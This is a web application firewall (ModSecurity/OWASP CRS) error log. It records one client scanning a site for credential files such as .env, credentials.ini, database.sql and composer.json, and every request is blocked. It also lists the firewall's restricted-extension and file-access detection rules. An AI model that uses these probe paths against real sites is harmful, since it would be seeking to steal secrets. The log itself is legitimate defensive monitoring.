[Tue Oct 27 07:42:02.369357 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auCOChpfUBgvi1kircRVAwAAABg"]
[Tue Oct 27 07:42:02.369611 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auCOChpfUBgvi1kircRVAwAAABg"]
[Tue Oct 27 07:42:02.371385 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auCOCo0JjhEi1NzVi4XrwwAAAAc"]
[Tue Oct 27 07:42:02.371591 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auCOCo0JjhEi1NzVi4XrwwAAAAc"]
[Tue Oct 27 07:42:02.371942 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auCOCo0JjhEi1NzVi4XrwwAAAAc"]
[Tue Oct 27 07:42:02.382023 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auCOCgJ0bI7Z9n11TMAC7QAAAAA"]
[Tue Oct 27 07:42:02.382233 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auCOCgJ0bI7Z9n11TMAC7QAAAAA"]
[Tue Oct 27 07:42:02.382475 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auCOCgJ0bI7Z9n11TMAC7QAAAAA"]
[Tue Oct 27 07:42:02.431764 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auCOCm_oZ855J3-bmxEqAwAAAAY"]
[Tue Oct 27 07:42:02.431957 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auCOCm_oZ855J3-bmxEqAwAAAAY"]
[Tue Oct 27 07:42:02.432211 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auCOCm_oZ855J3-bmxEqAwAAAAY"]
[Tue Oct 27 07:42:02.457980 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auCOCgJ0bI7Z9n11TMAC7gAAAAA"]
[Tue Oct 27 07:42:02.458139 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auCOCgJ0bI7Z9n11TMAC7gAAAAA"]
[Tue Oct 27 07:42:02.458370 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auCOCgJ0bI7Z9n11TMAC7gAAAAA"]
[Tue Oct 27 07:42:02.472203 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "ns2.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auCOCiV3rvdaeXJTlLHAPgAAAAM"]
[Tue Oct 27 07:42:02.472403 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auCOCiV3rvdaeXJTlLHAPgAAAAM"]
[Tue Oct 27 07:42:02.472656 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auCOCiV3rvdaeXJTlLHAPgAAAAM"]
[Tue Oct 27 07:42:02.502693 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "ns2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auCOCpekxYBRCO5jo1OINgAAABA"]
[Tue Oct 27 07:42:02.502903 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auCOCpekxYBRCO5jo1OINgAAABA"]
[Tue Oct 27 07:42:02.503214 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auCOCpekxYBRCO5jo1OINgAAABA"]
[Tue Oct 27 07:42:02.507611 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auCOCgHzNpgY2H50otlpSQAAAAg"]
[Tue Oct 27 07:42:02.507781 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auCOCgHzNpgY2H50otlpSQAAAAg"]
[Tue Oct 27 07:42:02.508041 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auCOCgHzNpgY2H50otlpSQAAAAg"]
[Tue Oct 27 07:42:02.508734 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auCOCm_oZ855J3-bmxEqBAAAAAY"]
[Tue Oct 27 07:42:02.508865 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auCOCm_oZ855J3-bmxEqBAAAAAY"]
[Tue Oct 27 07:42:02.509130 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auCOCm_oZ855J3-bmxEqBAAAAAY"]
[Tue Oct 27 07:42:02.556156 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auCOCj4THoroSjopRdUAOQAAAAE"]
[Tue Oct 27 07:42:02.556311 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auCOCj4THoroSjopRdUAOQAAAAE"]
[Tue Oct 27 07:42:02.556551 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auCOCj4THoroSjopRdUAOQAAAAE"]
[Tue Oct 27 07:42:02.585786 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auCOCm_oZ855J3-bmxEqBQAAAAY"]
[Tue Oct 27 07:42:02.585922 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auCOCm_oZ855J3-bmxEqBQAAAAY"]
[Tue Oct 27 07:42:02.586201 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auCOCm_oZ855J3-bmxEqBQAAAAY"]
[Tue Oct 27 07:42:02.599885 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auCOChpfUBgvi1kircRVBgAAABg"]
[Tue Oct 27 07:42:02.600066 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auCOChpfUBgvi1kircRVBgAAABg"]
[Tue Oct 27 07:42:02.600308 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auCOChpfUBgvi1kircRVBgAAABg"]
[Tue Oct 27 07:42:02.601641 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auCOCo0JjhEi1NzVi4XrxgAAAAc"]
[Tue Oct 27 07:42:02.601771 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auCOCo0JjhEi1NzVi4XrxgAAAAc"]
[Tue Oct 27 07:42:02.602027 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auCOCo0JjhEi1NzVi4XrxgAAAAc"]
